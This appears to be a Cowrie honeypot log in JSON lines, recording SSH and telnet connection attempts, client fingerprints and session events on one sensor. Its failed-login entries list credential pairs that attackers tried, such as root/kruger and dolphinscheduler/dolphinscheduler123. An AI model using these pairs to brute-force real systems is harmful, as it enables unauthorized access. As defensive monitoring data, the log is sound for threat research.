{"eventid":"cowrie.login.failed","username":"root","password":"kruger","message":"login attempt [root/kruger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:57.181721Z","src_ip":"170.106.159.59","session":"45fb459532dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":41106,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2d9e2802b05","protocol":"ssh","message":"New connection: 47.237.167.49:41106 (159.203.135.109:22) [session: e2d9e2802b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:57.226005Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:58.256666Z","src_ip":"170.106.159.59","session":"45fb459532dd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:58.702189Z","src_ip":"47.237.167.49","session":"e2d9e2802b05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:58.709454Z","src_ip":"47.237.167.49","session":"e2d9e2802b05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:59.238005Z","src_ip":"47.237.167.49","session":"695c146eca20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49882,"dst_ip":"10.17.0.5","dst_port":23,"session":"9882941d84cd","protocol":"telnet","message":"New connection: 152.42.224.71:49882 (10.17.0.5:23) [session: 9882941d84cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:59.751968Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.88","src_port":51863,"dst_ip":"159.203.135.109","dst_port":22,"session":"d56022bcc6d3","protocol":"ssh","message":"New connection: 147.185.132.88:51863 (159.203.135.109:22) [session: d56022bcc6d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:00.684976Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:00.851983Z","src_ip":"147.185.132.88","session":"d56022bcc6d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49884,"dst_ip":"10.17.0.5","dst_port":23,"session":"d36a532b2a02","protocol":"telnet","message":"New connection: 152.42.224.71:49884 (10.17.0.5:23) [session: d36a532b2a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:02.591566Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49890,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d91a994c1c8","protocol":"telnet","message":"New connection: 152.42.224.71:49890 (10.17.0.5:23) [session: 3d91a994c1c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:02.734743Z"}
{"eventid":"cowrie.session.closed","duration":"85.9","message":"Connection lost after 85.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:03.501690Z","src_ip":"47.237.167.49","session":"695c146eca20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55280,"dst_ip":"159.203.135.109","dst_port":22,"session":"334cda13b109","protocol":"ssh","message":"New connection: 31.40.204.166:55280 (159.203.135.109:22) [session: 334cda13b109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:04.209902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:04.214300Z","src_ip":"31.40.204.166","session":"334cda13b109","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:04.718201Z","src_ip":"31.40.204.166","session":"334cda13b109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.076226234436035,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:04.965324Z","src_ip":"152.42.224.71","session":"4a3c5f81d644","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":105.08130025863647,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:04.976101Z","src_ip":"152.42.224.71","session":"6a5ceaaa2407","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"bot","password":"root","message":"login attempt [bot/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:05.214521Z","src_ip":"31.40.204.166","session":"334cda13b109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:06.511858Z","src_ip":"31.40.204.166","session":"334cda13b109","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55622,"dst_ip":"10.17.0.5","dst_port":23,"session":"498b59bb1559","protocol":"telnet","message":"New connection: 152.42.224.71:55622 (10.17.0.5:23) [session: 498b59bb1559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:07.227352Z"}
{"eventid":"cowrie.session.closed","duration":120.00149369239807,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:07.459591Z","src_ip":"152.42.224.71","session":"0833f94ab8d3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:08.254671Z","src_ip":"47.237.167.49","session":"e2d9e2802b05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.3","message":"Connection lost after 12.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:09.496069Z","src_ip":"47.237.167.49","session":"e2d9e2802b05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00512361526489,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:13.336496Z","src_ip":"152.42.224.71","session":"bd5cf6c85f0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":99.11731052398682,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:14.527339Z","src_ip":"152.42.224.71","session":"209ca0e963ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52572,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd42bd66a320","protocol":"ssh","message":"New connection: 31.40.204.166:52572 (159.203.135.109:22) [session: bd42bd66a320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:16.182664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:16.213557Z","src_ip":"31.40.204.166","session":"bd42bd66a320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:16.398198Z","src_ip":"31.40.204.166","session":"bd42bd66a320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.50","src_port":52590,"dst_ip":"10.17.0.5","dst_port":22,"session":"01fdcfc48e0e","protocol":"ssh","message":"New connection: 45.156.87.50:52590 (10.17.0.5:22) [session: 01fdcfc48e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:16.760964Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:16.766026Z","src_ip":"45.156.87.50","session":"01fdcfc48e0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.50","src_port":52600,"dst_ip":"10.17.0.5","dst_port":22,"session":"df809986e42d","protocol":"ssh","message":"New connection: 45.156.87.50:52600 (10.17.0.5:22) [session: df809986e42d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:16.885630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:16.890606Z","src_ip":"45.156.87.50","session":"df809986e42d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:16.973447Z","src_ip":"45.156.87.50","session":"df809986e42d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"12345678","message":"login attempt [test/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:16.999459Z","src_ip":"31.40.204.166","session":"bd42bd66a320","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"computer","message":"login attempt [root/computer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:17.139718Z","src_ip":"45.156.87.50","session":"df809986e42d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:18.186755Z","src_ip":"31.40.204.166","session":"bd42bd66a320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:18.226867Z","src_ip":"45.156.87.50","session":"df809986e42d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":34090,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a02a31f823f","protocol":"ssh","message":"New connection: 94.159.98.239:34090 (159.203.135.109:22) [session: 9a02a31f823f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:19.141680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:19.146899Z","src_ip":"94.159.98.239","session":"9a02a31f823f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40464,"dst_ip":"10.17.0.5","dst_port":23,"session":"9677ad447a54","protocol":"telnet","message":"New connection: 152.42.224.71:40464 (10.17.0.5:23) [session: 9677ad447a54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:19.245239Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:19.272046Z","src_ip":"94.159.98.239","session":"9a02a31f823f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40474,"dst_ip":"10.17.0.5","dst_port":23,"session":"62d7aa2bc0b3","protocol":"telnet","message":"New connection: 152.42.224.71:40474 (10.17.0.5:23) [session: 62d7aa2bc0b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:19.561288Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"20061988","message":"login attempt [root/20061988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:19.660330Z","src_ip":"94.159.98.239","session":"9a02a31f823f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:20.790438Z","src_ip":"94.159.98.239","session":"9a02a31f823f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40476,"dst_ip":"10.17.0.5","dst_port":23,"session":"659f60543b68","protocol":"telnet","message":"New connection: 152.42.224.71:40476 (10.17.0.5:23) [session: 659f60543b68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:21.567908Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":40934,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf06ad7cd6e1","protocol":"ssh","message":"New connection: 103.172.78.219:40934 (159.203.135.109:22) [session: cf06ad7cd6e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:25.042802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:25.047780Z","src_ip":"103.172.78.219","session":"cf06ad7cd6e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:25.294840Z","src_ip":"103.172.78.219","session":"cf06ad7cd6e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"353535","message":"login attempt [root/353535] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:26.111148Z","src_ip":"103.172.78.219","session":"cf06ad7cd6e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:27.358803Z","src_ip":"103.172.78.219","session":"cf06ad7cd6e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52332,"dst_ip":"159.203.135.109","dst_port":22,"session":"95551c275ad2","protocol":"ssh","message":"New connection: 31.40.204.166:52332 (159.203.135.109:22) [session: 95551c275ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:27.512443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:27.801572Z","src_ip":"31.40.204.166","session":"95551c275ad2","protocol":"ssh"}
